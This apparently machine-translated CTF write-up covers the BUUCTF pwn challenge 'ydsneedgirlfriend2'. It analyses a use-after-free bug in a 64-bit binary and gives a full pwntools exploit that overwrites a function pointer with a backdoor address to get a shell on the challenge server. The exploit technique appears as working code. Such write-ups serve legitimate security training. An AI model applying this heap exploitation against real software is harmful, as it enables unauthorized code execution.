buuctf [BJDCTF 2nd]ydsneedgirlfriend2

[BJDCTF 2nd] ydsneedgirlfriend2 A pile of questions that you can do

The implementation process of this topic is very simple and easy to understand, and the final script is also very concise, suitable for a cute new like me.

64-bit program, drag into ida, look at several main functions

add function:

Insert picture description here
Insert picture description here
Insert picture description here

Note that if there is no content in 0x6020a0 of the bss section, the program will first apply for a 0x10 chunk to store the address of the chunk that will be applied for the user and the address of the print girlfriend name function. You can see that this function is used for output content At the same time, the address of the chunk itself will be placed at 0x6020a0

Next, the user enters the desired chunk size and content. This may be a bit confusing to say, just do it in practice.

The following is the execution of the add function, the input size is 16, the input content is the chunk and bss segments after "aaaa":

Insert picture description here

This is the case of chunks, 0x603010 stores the address of chunk0, and 0x603018 stores the function of print girlfriend name

Address, 0x603020-0x603030 is the head of chunk0, and 0x603030 is the input "aaaa"

Insert picture description here

Here in the bss segment, 0x603010 is stored, which is the address of chunk00

show function:

Insert picture description here

What the show function realizes is to call this function through the address of the print girlfriend name function stored at 0x603018 to output the contents of the chunk. Here we can use it, if we can change this address to the address we want, and then call the show function, we can getshell

dele function:

Insert picture description here

It can be seen that although the free of the two chunks is dropped here, but the pointer to chunk00 in the bss segment is not set to null, there is a chance here

Write the implementation of these three functions:

def add(length,data):
	sh.recvuntil("u choice :\n")
	sh.sendline("1")
	sh.recvuntil("Please input the length of her name:\n")
	sh.send(str(length))
	sh.recvuntil("Please tell me her name:\n")
	sh.send(data)
def delete(index):
	sh.recvuntil("u choice :\n")
	sh.send("2")
	sh.recvuntil("Index :")
	sh.send(str(index))
def show(index):
	sh.recvuntil("u choice :\n")
	sh.send("3")
	sh.recvuntil("Index :")
	sh.send(str(index))

In order to further explore our conjecture, take a look at the content you just applied for free

Insert picture description here

At this time, the two chunks are actually in the free state. The two chunks are managed through the structure of a singly linked list. The free chunk is placed at the head of the table. Since chunk00 is free, it is placed at the head of the table. , The data stored at 0x603010 has changed from 0x603030 to 0x603020, which points to the head of chunk0

When we apply again, the system will look for chunks that match the size. And if we want a chunk of size 0x20 at this time, it will look for it in turn, and the header chunk00 is exactly the same, we can control the function pointer at 0x603018 by this point

Insert picture description here

Look at the bss section again, this pointer still exists, so this time, the add function will only perform malloc once, we can modify the pointer at 0x603018 to the address of the backdoor function, and then execute the show function, and pass the pointer stored in the bss section. Implement the backdoor function

add(0x10,'aaaa')
delete(0)
add(0x10,"aaaaaaaa"+p64(backdoor))
show(0)

After executing this way, 0x603010 is aaaaaaaa, and 0x603018 is the address of backdoor.
Complete exp:

from pwn import *
sh=remote("node3.buuoj.cn",29561)
context.log_level='debug'

backdoor=0x400d86
def add(length,data):
	sh.recvuntil("u choice :\n")
	sh.sendline("1")
	sh.recvuntil("Please input the length of her name:\n")
	sh.send(str(length))
	sh.recvuntil("Please tell me her name:\n")
	sh.send(data)
def delete(index):
	sh.recvuntil("u choice :\n")
	sh.send("2")
	sh.recvuntil("Index :")
	sh.send(str(index))
def show(index):
	sh.recvuntil("u choice :\n")
	sh.send("3")
	sh.recvuntil("Index :")
	sh.send(str(index))

add(0x10,'aaaa')
delete(0)
add(0x10,"aaaaaaaa"+p64(backdoor))
show(0)
sh.interactive()

Guess you like

Origin blog.csdn.net/weixin_45677731/article/details/107976481